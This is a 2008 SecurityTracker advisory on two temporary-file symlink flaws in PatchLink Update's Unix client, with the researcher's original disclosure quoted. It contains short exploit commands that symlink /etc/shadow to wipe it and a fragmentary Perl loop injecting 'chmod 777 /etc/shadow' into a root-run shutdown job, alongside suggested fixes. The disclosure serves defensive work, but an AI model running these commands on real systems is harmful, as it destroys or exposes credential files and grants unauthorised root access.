PatchLink Update Temporary File Symlink Flaw in logtrimmer Lets Local Users Gain Elevated Privileges
|
|
SecurityTracker Alert ID: 1019272
|
|
SecurityTracker URL: http://securitytracker.com/id?1019272
|
|
CVE Reference: CVE-2008-0525
(Links to External Site)
|
Updated: Feb 6 2008
|
Original Entry Date: Jan 25 2008
|
Impact: Modification of system information, Modification of user information, User access via local system
|
Exploit Included: Yes
|
Description: Two vulnerabilities were reported in PatchLink Update. A local user can obtain elevated privileges on the target system.
The UNIX client's 'logtrimmer' and 'rebootTask' scripts use temporary files in an unsafe manner. A local user can create a symbolic
link (symlink) from a critical file on the target system to a temporary file to be used by PatchLink Update. When the script runs,
the symlinked file will be overwritten by the script.
The logtrimmer script uses the 'patchlink.tmp' file and can be exploited
to erase the contents of files on the target system.
The rebootTask script uses the '/tmp/plshutdown' file and can be exploit
to execute arbitrary code.
Larry W. Cashdollar of Vapid Labs reported this vulnerability.
|
Impact: A local user can obtain elevated privileges on the target system.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.lumension.com/ (Links to External Site)
|
Cause: Access control error, State error
|
Underlying OS: Linux (Red Hat Enterprise), Linux (SuSE), UNIX (AIX), UNIX (HP/UX), UNIX (OS X), UNIX (Solaris - SunOS)
|
Reported By: lcashdol@gmail.com
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 25 Jan 2008 20:29:30 -0000
From: lcashdol@gmail.com
Subject: Two vulnerabilities for PatchLink Update Client for Unix.
|
PatchLink Update Unix Client File clobbering vulnerability
Larry W. Cashdollar
Vapid Labs
1/17/2008
Overview From the vendor:
“PatchLink Update™ provides rapid, accurate and secure patch management, allowing you to proactively
manage threats by automating
the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update signif
icantly decreases the costs involved
in securing your organization from worms, Trojans, viruses and other malicious threats.”
http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443
Vulnerability
The log rotation utility “logtrimmer” utilizes space in /tmp improperly and is subject to a symlink a
ttack. By creating a targeted
symlink a non root user can clobber root owned files causing DoS.
Exploit
nobody:/tmp> ln -s /etc/shadow patchlink.tmp
After logs are rotated
/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation proce
ss has finished.
Fix
Create a subdirectory under /tmp or /var/tmp to work from.
For example adding:
mkdir /var/tmp/plink
chmod 700 /var/tmp/plink
Second Vulnerability:
The script rebootTask contains the following lines for HP-UX Shutdown and reboot:
echo "shutdown -r -y 120" > /tmp/plshutdown
chmod 500 /tmp/plshutdown
at now < /tmp/plshutdown
A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home dire
ctory and inject malicous code.
This could be done possibly by continuously writing to the file while waiting for the at command to
run.
$ ln -s /tmp/plshutdown /var/tmp/runme
#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
Also could be fixed by creating a subdirectory to work from under /var/tmp or /tmp.
http://vapid.dhs.org
|
|
